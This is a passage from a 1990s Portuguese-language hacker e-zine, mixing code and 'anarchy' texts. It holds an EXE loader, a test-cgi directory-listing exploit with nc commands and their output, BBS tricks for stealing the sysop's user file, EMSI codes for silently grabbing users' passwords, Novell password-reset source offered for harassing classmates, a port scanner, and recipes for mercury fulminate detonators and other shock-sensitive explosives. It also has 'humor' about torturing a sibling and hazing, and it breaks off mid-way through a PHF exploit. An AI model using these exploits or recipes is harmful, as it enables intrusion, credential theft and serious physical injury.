	    -------8<------8<-- LOADER.ASM --8<------8<-----
code    SEGMENT PARA PUBLIC 'code'
        ASSUME cs:code, ds:code, es:code, ss:code
        LOCALS
        .8086    ; ick!!! "mas vamos pensar na compatibilidade!!" :))

        ORG     100h ; bah!!! :))

start:  JMP     r_start

; isso aki embaixo vai funcionar do tipo a uma pilha
strCS   dw 0 ; no de paragrafos onde comecara' o programa..
oldCS   dw 0
oldIP   dw 0
oldDS   dw 0
oldES   dw 0

papoAlaPKLITE db 'EXEloader v1.0',0

r_start:

        ; UMA SACANAGEM.....
        ; vamos fazer um checksum do papoAlaPKLITE e se nao for igual 
        ; cai fora.
        ; o checksum da 126.. como? some todos os valores ASCII EM BYTES
        ; COM
        ; OVERFLOW...
        ; faremos uma inicializacao..
        mov     cs:[oldDS], ds ; isso parece maluquice mas e' real!!
        mov     cs:[oldES], es ; so estou colocando DS e ES na minha"PILHA"
        push    cs
        pop     ds ; Make sure DS=CS

        mov     di, offset papoAlaPKLITE
        xor     al, al
chksum:
        mov     ah, [di]
        add     al, ah
        inc     di
        cmp     ah, 0
        jne     chksum

        cmp     al, 126 ; e' o papo?
        je      continue

        mov     ax, 4c00h
        int     21h

continue:
        mov     si, OFFSET SORT  ; Start Of Relocation Table.. k00l!!
        mov     ax, cs
        add     cs:[strCS],ax    ; begin of code
        mov     es, cs:[strCS]

        ; vamu discumprimi e faze as relocucao..
desc:
        lodsw
        cmp     ax, 0ffffh
        jne     reloc    ; faz relocacoes
        lodsw
        cmp     ax, 0ffffh
        je      run      ; comeca o programa
        add     ax, cs:[strCS]
        mov     es, ax
        jmp     desc

        ; faz a relocacao
reloc:
        mov     di, ax
        mov     ax, cs:[strCS]
        add     es:[di], ax
        jmp     desc

        ; executa.
run:
        ; coloca no lugar, ds e es
        mov     ds, cs:[oldDS]
        mov     es, cs:[oldES]
        mov     bx, cs:[oldIP]
        mov     ax, cs:[oldCS]
        add     ax, cs:[strCS]
        push    ax bx
        retf

SORT  dw ?   ; aki vai a tabela compactada.... EASY, nao?
code ENDS
END start
            -------8<------8<-- LOADER.ASM --8<------8<-----

       Para quem nao tem um assemblador, aki vai um "DUMP", que
       tbem sera' usado mais tarde...

            eb 1a 90 00 00 00 00 00 00 00 00 00 00 45 58 45
            6c 6f 61 64 65 72 20 76 31 2e 30 00 2e 8c 1e 09
            01 2e 8c 06 0b 01 0e 1f bf 0d 01 32 c0 8a 25 02
            c4 47 80 fc 00 75 f6 3c 7e 74 05 b8 00 4c cd 21
            be 8a 01 8c c8 2e 01 06 03 01 2e 8e 06 03 01 ad
            3d ff ff 75 0f ad 3d ff ff 74 14 2e 03 06 03 01
            8e c0 eb eb 8b f8 2e a1 03 01 26 01 05 eb e0 2e
            8e 1e 09 01 2e 8e 06 0b 01 2e 8b 1e 07 01 2e a1
            05 01 2e 03 06 03 01 50 53 cb

       Agora ja temos o loader, vc nao acha que esta' faltando algo?

       Um linker.....
       O que e' um linker?!?!

       Seria um PKLITE da vida propriamente dito....


            -------8<------8<-- EXELOAD.PAS --8<------8<-----

{

  EXEloader v1.0
  A then begin
           A:=r.Segment;
           rTable[ p]:=$ffff;
           inc( p);
           rTable[ p]:=A;
           inc( p);
           end;
        rTable[ p]:=r.Offset;
        inc( p);
    end;
    rTable[ p]:=$ffff;
    inc( p);
    rTable[ p]:=$ffff;
    sTable:=p;
end;

{
ЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎЕЎ
ГЄГЄ}  procedure LoadAndConvertheader; {ГЄГЄГЄ
ГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎГЎ
Load, Convert Header and Save it up!!!
}
type
    pWord=^WORD;

var fName: string;
    siz:   word;
    i,j:   word;
    dataBegin: longint;

    buff: pointer;
begin
   fName:=paramstr( 1);
   if pos( '.', fName)=0 then fName:=fName+'.EXE';

   assign( exeFile, fName);
   reset( exeFile, 1);

   assign( tmpFile, 'EXELOAD.$$$');
   rewrite( tmpFile, 1);

   move( Loader_Data, myLoader_Data, Loader_Size+1);

   BlockRead( exeFile, hdr, sizeof( tHeaderEXE));
   if hdr.ID<>EXE_ID then begin
                     WriteLn( 'File isn''t a EXE file!');
                     halt( 2); { automatic close file.. DOS 3.30 or higher! }
                     end;
   ProcessRelocation;

   siz:=Loader_Size+1+(sTable+1)*2;
   { Now, the hardest thing....
     The reconstruction of the header }
   with hdr do begin
        dataBegin:=size*$10;

        reloc_items:=0; { ohh!! we dont have relocations!! its a .COM!! }
        inc( pages, siz div $200);
        i:=bytemod+(siz mod $200);
        if i>$200 then inc( pages, i div $200);
        bytemod:=i mod $200;

        size:=2;

        j:=(siz div 16)+1;
        if (siz mod 16)=0 then dec( j);
        pWord( @myLoader_data[ 3])^:=$10+j;
        pWord( @myLoader_data[ 5])^:=codeseg;
        pWord( @myLoader_data[ 7])^:=ipreg;
        codeseg:=$fff0; ipreg:=$100;
        end;

   blockwrite( tmpFile,  hdr, sizeof( tHeaderEXE));
   close( tmpFile);
   reset( tmpFile, 1);
   seek( tmpFile, $20);
   blockWrite( tmpFile, myLoader_Data, Loader_Size+1);
   blockWrite( tmpFile, rTable, (sTable+1)*2);


   seek( tmpFile, (j+2)*$10);
   seek( exeFile, DataBegin);
   getmem( buff, 4096); { Provide a copy }
   i:=4096;
   while i=4096 do begin
      blockread( exeFile, buff^, 4096, i);
      blockwrite( tmpFile, buff^, i);
      end;
   close( tmpFile);
   close( exeFile);
   erase( exeFile);
   rename( tmpFile, fName);
   freemem( buff, 4096);
   end;

begin
    WriteLn('EXEload v1.0  y csh  (C) 1995');
    LoadAndConvertheader;
    end.
            
            -------8<------8<-- EXELOAD.PAS --8<------8<-----

    Espero que isto seja suficiente para o entendimento do "ESQUEMA"...
    O programa pode ser totalmente modificado, etc.. etc..

    Em 1994, vi rolar uns papos sobre seguranca, passwords e cia ltda en-
    tao resolvi (so agora!!) escrever esse exemplo.

    Meu tempo e' super pequeno e estou trabalhando em 12 programas simul-
    taneos, que consomem todo o meu tempo (fora os estudos, obvio).

    Se alguem esta realmente interessado nisso e queria resolver alguma
    duvida, so me manda um reply please... Mas nao venha com perguntas do
    tipo:
    "mov serve pra que mesmo?" ou "o que e' stack?!" . bah!
    Um conhecimento minimo e' requerido para entendimento disso.

    Hehe mais  uma coisa: "EU, csh, NAO ME  RESPONSABILIZO PELA UTILIZACAO
    DESSE  PROGRAMA,  POIS  ESSE  TEM COMO  OBJETIVO APENAS O ENTENDIMENTO
    DE COMO PROTEGER SEUS PROGRAMAS.  USE-O, MODIFIQUE-O, FACA QQUER COISA
    MAS EM CASO DE PERDA DE DADOS, VIRUS, OU QUER OUTRA COISA Q POSSA ACON-
    TECER NAO ME PROCESSE POR FAVOR!"


EXEload e' ideia de:
csh!
Por enquanto podem entrar em contato com o csh pelo email
- axur05@hotmail.com -
Na proxima edicao ele ja vai ta com um email ;)

}-===============================[chain]===============================-{                        




6-) VULNERABILIDADE do test-cgi em alguns setups!
    ~~~~~~~~~~~~~~~ ~~ ~~~~~~~~ ~~ ~~~~~~ ~~~~~~~


Programa efetado:
-----------------

Test-cgi's scripts encontrado em varios web servers.


Consequencias:
--------------

Qualquer um pode olhar os arquivos da maquina


How about:
----------

Em muitos web sites existem arquivos chamados de test-cgi
quase sempre no diretorio cgi-bin ou algum lugar similar ). Existe
um problema com muitos destes arquivos test-cgi .
Se seu arquivo test-cgi contem a chamada linha ( verbatim ) entao
voce provavelmete esta vulneravel ao bug.


echo QUERY_STRING = $QUERY_STRING


Todas essas linhas possivelmente tem as variaveis abertas ou perdidas
sem aspas ("). Sem essas aspas alguns caracteres especiais ( especifi
cadamente o '*') sao expandidos onde eles nao poderiam.
Enviando entao um query de '*' vai voltar as informacoes do diretorio
corrente ( provavelmente onde todos os arquivos do vgi estao... lah no
jj e no phf. Bom, o que sao esses outro cgi's que eu nunca vi...? e que
furo que tem nele? Mandando um query do '/*' vai listar o diretorio do
root! ;)

Isso e' o mesmo que faz o `echo *` quando vc dah o ls

Este e' o meio mais facil de lista diretorio e ate dar um cat neles
via a string do query. Quase sempre e' possivel de fazer a mesma coisa
atraves de muitas outras variaveis ( ie $REMOTE_HOST, $REMOTE_USER, etc.)
e' claro que em certas situacoes.

Como arrumar:
------------

Pq arrumar? ;) deixa assim cumpadi!


Vamos x-ploitar...
------------------

Bom vamos fazer um teste... mas pra isso temos que sempre procurar
o telnet na porta 80 do provedor que sera a vitima.
------------------
machine% echo "GET /cgi-bin/test-cgi?/*" | nc vitima.lamah.com 80

CGI/1.0 test script report:
 
argc is 1. argv is /\*.
 
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = vitima.lamah.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = 
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt 
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
 
------------------

Ou pra ver o que outros cgi's per ai...
------------------
machine% echo "GET /cgi-bin/test-cgi?*" | nc vitima.lamah.com 80

CGI/1.0 test script report:
 
argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = 
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger 
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html 
mail-query mail-query-2 majordomo majordomo.cf marker.cgi 
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query 
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255 
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

Nao sei se expliquei bem.. em todo caso pesquisem o caso!
AciDmuD - 1997(c) Global Domination Inc. 
 - acidmud@thepentagon.com -


}-===============================[chain]===============================-{                        




7-) FINAL DA LISTA DE COMANDOS UNIX
    ~~~~~ ~~ ~~~~~ ~~ ~~~~~~~~ ~~~~

Oia! Nao deu tempo de preparar esta parte nao, eu sei que tinha prometido
mas como quero preparar algo bom mesmo fica pra AXUR05 numero 2.
Por favor, o nome da revista ‚ AXUR05 e nao quer dizer que a revista esta
no seu 5 numero... ;)
Como tem lamer que me pergunta, "Por favor, me manda o numero 1, 2, 3 e o
4 que eu soh tenho o numero 5."
Hehehhe...
Esperam pra proxima edicao a parte final da maior lista de comando unix
compilada em portugues.

AciDmuD - 1997(c) Global Domination Inc. 
 - acidmud@thepentagon.com -


}-===============================[chain]===============================-{                        




8-) BBS INESCRUPULOSAS
    ~~~ ~~~~~~~~~~~~~~


        Voce deve conhecer pelo menos um ou dois BBS de grande porte  que
        cobram muito caro e nao oferecem um servico esperado.
        Nessas BBSs , o operador nao quer nada mais alem do que o seu di-
        nheiro ou seu lindo numero de cartao de credito...
        Voce  e'  feio ou bonito? Inteligente ou uma anta? Nao interessa,
        para eles o que interessa e' seu dinheiro.

        Exemplo:
                Voce acessa pela primeira  vez uma dessas , e o que  voce
                pode  acessar? NADA! So' pode mandar msgs para o SysOp, e
                nem adianta esperar reply, porque para ele voce e' um im-
                becil.  Chama-lo para chat? Nem adianta.  Ele nem ouve  o
                sinal... Mas e' so' pagar, depositando uma grana na conta
                do BBS ou fornecendo o numero do seu credicard que o tra-
                tamento muda totalmente. Areas e mais areas de arquivos,
                o SysOp atende toda vez que vc chama e coisa e tal.
                Acabou o mes? Ok, voce se tornou de novo um imbecil.

        Isso precisa acabar! Precisamos dar um pe' no traseiro desses idi-
        otas donos ou sysops de BBS.
        E  o  acesso gratis `a internet entao?  Aquelas  lojas em que voce
        compra um computador e recebe horas gratis na internet atraves  de
        um BBS.
        Tudo bem, voce mora no interior  e  o BBS e' na capital , mas voce
        ja esta' empolgado mesmo. Ligando no servico de atendimento do BBS,
        voce constata que, alem de ter de fazer a ligacao interurbana, ain-
        da  precisa assinar o BBS e comprar o soft de navegacao (que o BBS
        vende) Resultado: alem de morrer na grana do interurbano e no aces-
        so ao BBS, voce ainda gasta 50 pau para comprar a merda do browser!

         [ Moral da historia:Voce e' um dos muitos que sao explorados
           por esses BBS's e nao agem de forma alguma pra que este qua-
           dro do CyberSpace mude!!! Estamos precisando de mais acao! ]

                     BBZs DIRIGIDAS POR LAMAH'S
             
        Voce  tambem ja deve ter acessado  em alguns desses.O ZyZop, geral-
        mente uma crianca que nem sabe da vida , alem de ter um sistema po-
        dre, faz  gracinhas com voce, se dizendo o hacker. Conheci um espe-
        cime desses, que rodava uma board em PCBoard e nem sabia o que era
        um PPE! O que aconteceu, adivinha?Foi deletado!!!Ri muito!!!Um cara
        entrou num backdoor e fudeu tudo.
        Esses ZyZoP'z sao , em maioria , mauricinhos filhos da puta e mima-
        dinhos que tem um Pentium 166 e provavelmente compraram o BBZ de um
        cara esperto , que deve ter vendido muito caro.
        Em  muitos dos casos, o cara que deleta o bbz e' o mesmo que o ven-
        deu para o lamer.

                          CONSIDERACOES FINAIS
                       
        Amigos do mundo underground , uni-vos! Precisamos acabar com lixos
        como esses. 

       ALGUNS BUG'S PRA TE DEIXAR MAIS "ESPERTO" CONTRA TAIS EXPLORACOES!

  # SyZTeM > PCBoard 15.x #

 -: Caso vc seja um novo usuario, ou seja, teu nivel de acesso nao permita
    fazer praticamente nada, execute tal bug para que voce possa pegar 
    file que esteja nos dir.'s da bbs :

    l - (filenanme) - (areaname) d - ns [ENTER]

    Pronto... o file ja esta marcado, basta agora fazer o download!


 -: Para conseguir maior tempo de acesso :

    Entre na area livre da bbs, marque qualquer file e faca o download.
    Pule pro seu OS, e entre no dir. onde se localiza o file, logo apos
    vc devera usar um porgraminha, cujo nome e' hexed.exe, onde ira edi-
    tar tal file (nao importa se esteja compactado) e tira somente 1 bt
    Volta novamente pro teu programa de  comunicacao e puxe novemente o
    mesmo file pelo protocol ZMODEM.
    Agora... volte pro main mnu da bendita bbs, e da uma olhadinha no
    teu tempo de acesso! :)

   # SyZTeM > PCBoard & RA (aLL VeRSioN)

 -: Para  conseguir  roubar qualquer file  do  HD do SySoP , inclusive o
    users.dat da bbs!

    Basta ter um programa de comunicacao com o  protocol BiMODEM e o sis-
    tema HOST tambem. Mas caso teu programa nao  tiver tal protocol, bas-
    ta instalar um... nao e' dificil de achar!
    Well... vc esta conectado na bbs, agora,  faca  o  upload de qualquer
    file. Durante a transferencia (por protocol BiMODEM)  vc tera a opcao
    de fazer o download...e pronto! Puxe o users.dat do HD  HOST, mas an-
    tes, vc tera que descobrir em que dir. se encontra tal file! :)
    MAs isto e facil.. puxe o autoexec.bat dele, e verifique qual o board
    que ele esta carregando, e em que path esta  localizado, consequente-
    mente, vc sabera onde esta o users.dat!

NOTA: este bug's sao basicos, mas vc tera um bao progresso com eles! :)

=+=----------------
kS_5 1997(c) Global Domination Inc.

}-===============================[chain]===============================-{                        




9-) CODIGOS EMSi
    ~~~~~~~ ~~~~
                      

      Numa bela madrugada... quando estava acessando uma bela BbS, o qual
 nao irei divulgar o nome, descobri que alguns gerenciadores usam codigos         
 IEMSi para exercer algumas  tarefas com  o REMOTO. Mas como, felizmente,
 estava  usando um programa de comunicacao que nao aceitava tais codigos,
 foi possivel eu tirar uma lista quase que  detalhada de todos os codigos
 usados por tais bbs's!!!

     [ Logo quando apareceu a primeira tela de apresentacao... onde deve
 colocar o login e tudo mais pra acessa-la, apareceu o seguinte EMSi:
 IRQ8E08. Achei bastante estranho nao vir com alguma funcao, mas foi ai
 que tudo comecou... :)) ]

=+=---------------

 [ LiSTaGeM DoS EMSi'S ]

**EMSI_IRQ8E08 :  Envia Dados (Nome, Senha, Tel, Etc)      
**EMSI_IIR61E2 :  Desativa o Envio de Dados
**EMSI_ICI00C3 :  Cabecalho dos dados a enviar             
**EMSI_CHTF5D4 :  Chat                            
**EMSI_TCH3C60 :  Chat Off                              
**EMSI_ACKA490 :  CRC ERROR - Reenvie Dados                
**EMSI_NAKEEC3 :  CRC ERROR - Desconheco 
**EMSI_REQA77E :  Desconheco
**EMSI_IN9C816 :  Desconheco

=+=---------------

 [ FuNCoeS eXeRCiDaS ]

Estas sequencias sao enviadas normalmente por um programa de comunicacao
quando recebe o **EMSI_IRQ8E08

**EMSI_ICI00C3{Nome do Usuario}{}{Cidade \2F Estado \2F Pais}{telefone}{}
{SENHA}{N§ Do registro}{Terminal,24,80,0}{ZAP,ZMO,KER}{CHT,TAB,ASCII8}
{HOT,MORE,FSED,NEWS,MAIL,CLR}{Nome do Programa,Versao ,Nome da pessoa
 registrada}{}1CB4EEC8

1 -:
**EMSI_IRQ8E08
**EMSI_IIR61E2

       Se voce enviar o **EMSI_IRQ8E08, vc recebera os  dados, e se voce
Digitar logo apos **EMSI_IIR6E2 vc fara com que o usuario nao perceba  o
que aconteceu.

2 -:
**EMSI_CHTF5D4 
**EMSI_TCH3C60

       Servem para  entrar no chat e  sair dele, mas tambem  Podem ser usa-
dos para desconectar uma pessoa por insistencia, tipo colocar um CHTF5D4 ou 
melhor um IRQ8E08 em uma mensagem e ele nao conseguira sair da tela do chat 
(se for um usuario inexperiente).

3 -:
**EMSI_ACKA490
      Apenas o que eu sei sobre este comando, e' para reenviar dados, tipo
se  vc dar um IR8E08 e logo depois um ACKA490 ele re-enviara a tela com os 
dados.

4 -:
**EMSI_NAKEEC3
  Aparece quando houve um erro de crc no EMSI.

=+=---------------

 [ oBSeRVaCoeS FiNaiS ]

# Quem quiser se livrar dos IR8E08 basta desativar  o emsi no programa de
comunicacao que esta usando.
# Tais comandos EMSi so funciona se o usuario  estiver usando um prograna
de comunicacao onde se aceita EMSi (LOGICO!!! :)) )
# Os comandos que nao foram incluidos nesta lista foi pq ficaram como des-
conhecidos, ou seja, nao consegui descobrir! :)

=+=---------------     
kS_5 1997(c) Global Domination Inc.


}-===============================[chain]===============================-{




10-) MUDANDO SENHAS EM REDE NOVELL
     ~~~~~~~ ~~~~~~ ~~ ~~~~ ~~~~~~


Como nao podiamos deixar de fora, ai esta a fonte de um programinha em C
que muda as senhas de usuarios em rede novell sem sua permissao.
Nunca tentamos com a senha do supervisor, mas se voce tiver a oportunida-
de faca-o. Programa desenvolvido por P.R. Lees dedicado especialmente aos
estudantes que querem sacanear seus colegas nos cursos onde rodam siste-
ma em rede.


CORTE AQUI------------------------SETPWD.C--------------------------------
/*
	 SETPWD 1.0 - Sets a Novell User Password
    Copyright (C) 1992  P.R.Lees

	*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 

main(int argc,char *argv[])
{
int err;
printf("[SetPwd.nlm (c) 1992 P.R.Lees]\n");
if (argc!=3)
	{
	printf("Usage:\n\tLoad SetPwd  \n");
	exit(2);
	}

err=ChangeBinderyObjectPassword(argv[1],OT_USER,"",strupr(argv[2]));
if (err) 
	{
	switch(err)
		{
		case 150:printf("Server out of Memory\n");break;
		case 215:printf("Password is not unique\n");break;
		case 240:printf("Wildcard not allowed\n");break;
		case 251:printf("No such Property\n");break;
		case 252:printf("No such Object\n");break;
		case 254:printf("Server bindery locked\n");break;
		case 255:printf("No such object or Bad Password\n");break;
		default:printf("Netware Error 0x%X (%d)\n",err,err);break;
		}
	exit(err);
	}
printf("Password of %s has been set to %s\n",strupr(argv[1]),strupr(argv[2]));
exit(0);
}

CORTE AQUI------------------------SETPWD.C--------------------------------

Corte na parte indicada, cole em um arquivo e compile normalmente.
AciDmuD & VooDoo 1997(c) Global Domination inc. 
 - acidmud@thepentagon.com -


}-===============================[chain]===============================-{                        




11-) ANARCHY
     ~~~~~~~

Meus amigos... a parte  de  anarchy a ultima revista pode ter sido legal e
tudo mais, mas acho q  teremos  que parar um pouco, recebemos mails de  um
pessoal  falando que  nos estamos  cometendo crime e instigando terrorismo
sendo  que qualquer  fato que ocorrer  relacionado com o conteudo da parte
de anarchy sera de nossa inteira responsabilidade.
Nao tem coisa que eu mais odeio do que pegarem um pequeno anarquista e ele
falar " Pq vc vai me prender se foi o HaphazarD que me ensinou..."caralho!
Soh faz quem quer. Teve tambem um promotor de justica de Sao Paulo que ba-
teu um papo com o AciDmuD, e disse que poderia indicia-lo  juntamente  com
os outros membros da revista como co-autores de crimes de terror.
Bull shit!
Vamos continuar sim... nao sei se nesta ou na proxima  edicao, mas que nos
vamos  continuar com  a  parte de Anarchy nos vamos, pois sei que a galera
faz a festa. ;)



 TEXTO ESCRITO POR: kS_5

Sempre ouvi falar por ai q no Brasil nao existe gente competente o bastante
para escrever alguns textos legais pra galera, do tipo "como fazer um dina-
mite" , etc e tal... Entao, foi justamente pensando nisso q eu(kS_5), com a
ajuda de um grande colega meu, preparamos estas "receitinhas" pra vc! :)
Nem todas estas formulas foram analisadas por mim(na pratica). Mas de acor-
do q estao descritas.. acho q nao havera problema algum, a nao ser q vc fi-
que olhando pra essas formulas "malucas" sem enter porra nenhuma! :))

  ATENCAO!: CUIDADAO AO REALIZAR AS EXPERIENCIAS E FACA TUDO SOBRE CUIDADO
            DE UM ADULTO! AHHH... SERIA  BAO  TAMBEM  ARRUMA  UM BAO LIVRO
            DE QUIMICA! :)))

        
 --=+=---  DETONADOR  ---=+=---
 
Caracteristicas:
- Explode a 180 graus celcius;
- Alto poder calorifico;
- Usado como detonador de bombas maiores.
 
Nome cientifico:
Fulminato de mercurio  (Hg[ONC] )
                               2

Procedimento experimental:
Derrama-se em 250 partes de alcool etilico (C H O), nitrato de mercurio
                                             2 6
(Hg[NO ] )(perparado com 25 partes de mercurio e 300 partes de acido nitrico)
      3 2
Aquece-se ligeiramente (NAO MAIS QUE 60 GRAUS!!!). O  fulminato se deposita
como  agulhas  brancas. Adiciona-se 30% de agua,  ele  pode ser pulverizado
(Amassado) e transformado em uma pasta. Coloque algumas gotas de nitrato de
potassio (KNO ) ou de sodio (NaNO ) e enxofre em pequena quantidade.
             3                   3
Faz-se as espoletas colocando-se o produto seco entre duas folhas de latao.



 --=+=---  Polvora Negra e Fosforos  ---=+=--

12% de carbono (C) /carvao mineral;
13% de enxofre (S) (de preferencia resublimado) /enxofre de farmacia;
75% de nitrato de potassio (KNO ) ou de sodio (NaNO ) /salitre;
                               3                   3

OBS1: As porcentagens sao em peso.
OBS2: Se usar os reagentes opcionais (salitre,  carvao  mineral, enxofre de 
      farmacia) as porcentagens poderao mudar, dependendo do teor de pureza.

Se voce quiser fazer aqueles fosforos americanos, que podem ser "riscados"
em qualquer lugar, coloque agua na polvora  acima ate' formar uma pasta bem
viscosa e molhe a ponta de um palito de madeira (de preferencia pinho)nessa
pasta,  espere  secar. Uma  melhoria interessante seria umedecer a ponta do
palito que vai ser mergulada na polvora com resina vegetal de pinheiro.



 --=+=---  BIRIBINHA DE IODO  ---=+=--
                              
Preparar uma solucao concentrada (15 gr/ 100ml de agua) de iodeto de potas-
sio (KI). Juntar cristais de iodo resublimado (I2 ) ate que a solucao fique
bem preta. Adicionar ent1o Hidroxido de amonio (NH4OH) (CUIDADO! Irritante.)
em  ligeiro  execesso, ate que se forme um precipitado preto. Filtrar e con-
servar o precipitado umido.

OBS1: Coloque pouco KI e pouco Iodo pois o volume de hidroxido de amonio usa-
      do e' muitas vezes maior que o de iodo+KI.
OBS2: Essa bomba so faz barulho...
OBS3: Se quando explodir soltar muita fumaca vermelha, indica que voce colo-
      cou muito iodo ou pouco hidroxido de amonio.



 --=+=---  FEDOZINHO  ---=+=--

Por Sulfeto de ferro (FeS) com acido cloridrico e deixar descansar...
Aconselho sair de perto... mas caso vc quiser sentir o cherim gostos de mer-
da, fica por lah mesmo! :)



 --=+=---  GAS DO RISO  ---=+=--
                                                    
NH NO  ------> N O + H O + H
  4  2   ^      2     2     2

Aquecer Nitrito de amoneo EM FOGAREIRO ELETRICO (pois o gas que sai e' 
inflamavel!).
 
OBS1: Na realidade o gas nao provoca o riso, mas sim uma contracao dos 
      musculos da face. So' que um comeca a rir do "sorriso" do outro...
OBS2: O gas do riso e' o N O (oxido de nitrogenio).
                          2



 --=+=---  BOMBINHA DE NITRATO DE PRATA  ---=+=--

Colocar  em  um becker nitrato de prata (AgNO ) em solucao aquosa (a concen-
tracao nao  e'  importante). Em um kitassato colocar perdras  de  carbureto
(carbeto de calcio)  e  fechar  a boca com uma rolha de borracha. Jogue  um
pouco d'agua no  carbureto  e coloque um tubo cirurgico na sa!da lateral. A
outra extremidade do tubo deve estar mergulhada no nitrato de prata. Espere
parar de borbulhar e filtre o po que precipitou no becker. Cuidado pois esse
po   e'  muito sensivel a choques e temperatura.  Filtre-o apenas quando for
usa-lo.




 --=+=---  FAGULHAS COLORIDAS  ---=+=--

Misture  os  seguintes reagentes com polvora e coloque dentro de rojoes, fo-
guetes de miniatura, etc.:

VERMELHO:  Qualquer sal metalico de estroncio,
VERDE:     Qualquer sal metalico de Bario,
AMARELO:   Qualquer sal metalico de Sodio,
AZUL:      Qualquer sal metalico de cobre,
PRATA:     Limalha de ferro,


OBS FINAIS:
Galera... nao vao pensa  q  sou tipo esses  professorins bundinhas que ficam 
enxendo o saco com suas "reacoes quimicas" e tal... Nada disso, alias, nunca
gostei de quimica, somente ultizo-a de acordo com os meus interesses!
Outra coisa, devo agradcer tbm aos "peritos quimicos" que me ajudaram bastan-
te... brigaduuuuuuuu! :)

 
kS_5 - 1997(c) Global Domination Inc.



>-===========================[chain]===================================-<



11.2-) ANARCHY-HUMOR
       ~~~~~~~~~~~~~


                      Como torturar seu irmao pentelho.
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Voce esta no fim de DOOM II quando seu irmao esbarra o dedo no botao de reset.
        Voce nao tinha salvado o jogo , e vai ter de jogar mais 30 fases para
chegar aonde estava.
        Ok, pelos instintos reflexivos , voce acerta um direto no rosto do
muleque, que vai chorar para a mamae...
        Voce se refaz do acontecido , ja que seu irmao ganhou um olho roxo.
        Ai chega seu pai, que alem de te dar uma puta bronca, te obriga a
instalar no micro uns joguinhos educativos que vieram no CD-ROM para seu
irmao...
        Dar choque de 220 volts no muleque? Quebrar sua perna? Nao , isso e'
para quem nao tem classe...

                              Metodo 1: Gelol
                              ^^^^^^^^^^^^^^^
        Compre um vidrinho de gelol , aqueles de spray.Espere seu irmao sair
do banheiro e mire na bunda dele.Aperte com vontade, para o jato atingir
direto no cu.
        Nao vai adiantar ele tomar banho de novo , pois o rabo dele vai arder
durante umas duas horas!

                              Metodo 2: Pinguinho
                              ^^^^^^^^^^^^^^^^^^^
        Tortura chinesa pesada.Espera sua mae sair e amarre a anta.Leve-o
para a cozinha e abra a torneira para que ela comece a pingar e deixe o
coitado la' escutando aquele barulhim infernal da gota d'auga!
        Ele aguenta bem uma meia hora , mais que isso comecam os sintomas:
olho vermelho, dor de cabeca e palidez.
        Em duas horas ele fica louco!

                OBS:Isso e' perigoso , seu irmao pode ficar paralitico
                mentalmente, e viver como um vegetal!



                  Trote no panaca que passou no vestibular
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

        Material:
                 -Uma barra de gelo
                 -Azeitonas
                 -Um copinho

        Coloque a barra de gelo numa cadeira e faca o panaca abaixar a calca.
        Ponha uma azeitona no meio da barra.
        O cara tem de pegar a azeitona fazendo "biquim" com o cu e coloca-la
        no copinho do chao!  
        Se o cara nao conseguir , bata nele com uma touceira de capim...
        PS: jah fiz isso com um "bicho", e pode ter certeza q ri muito! :)

                                             by kS_5 & Van Dyke
     

                    
}-===============================[chain]===============================-{                        

                    
      

12-) RASTREANDO PORTAS...
     ~~~~~~~~~~ ~~~~~~~~~

  
E' a galera que ta pedindo, entao resolvi colocar nessa edicao uma fonte
de um programinha que facilitara muito a vida de quem quer dar uma checa-
da no sistema que pretende atacar. E' uma fonte simples, porem eficiente.
Com ela voce vai checar todas as portas desde 1 ate 9999, sabe-se que al-
gumas e' de conhecimento geral, como as de IRC ( 6665, 6666, 6667,...) as
de MUD, a de sendmail e etc...



corte aqui -----------------------IPCCK.C-------------------------------

#include 
#include 

main()
{
        int i;
        char ip[255],str2[255];
        
        printf("Enter Host for port scanning:");
        gets(ip);
        printf("\n");

        for (i=1;i<9999;i++)
{       sprintf(str2,"telnet %s %d",ip,i);
        system(str2);
} }

corte aqui -----------------------IPCCK.C---------------------------------


AciDmuD - 1997(c) Global Domination Inc.
      - acidmud@thepentagon.com -


}-===============================[chain]===============================-{





13-) PHF exploit...
     ~~~ ~~~~~~~~~~

csh corporation presents....

Vou abordar esse infame bug, que, acredite voce ou nao, ainda existe muito...

1) O BUG:

	"O codigo resumido ao bug!" 
  
     else {
        strcpy(commandstr, "/usr/local/bin/ph -m ");
        if (strlen(serverstr)) {
           strcat(commandstr, " -s ");
           /* RM 2/22/94 oops */
       
           escape_shell_cmd(serverstr);
           ^^^^^^-> essa funcao somente pega codigos especiais e adiciona 
                    "\" pra que o sistema nao interprete "escapes codes"
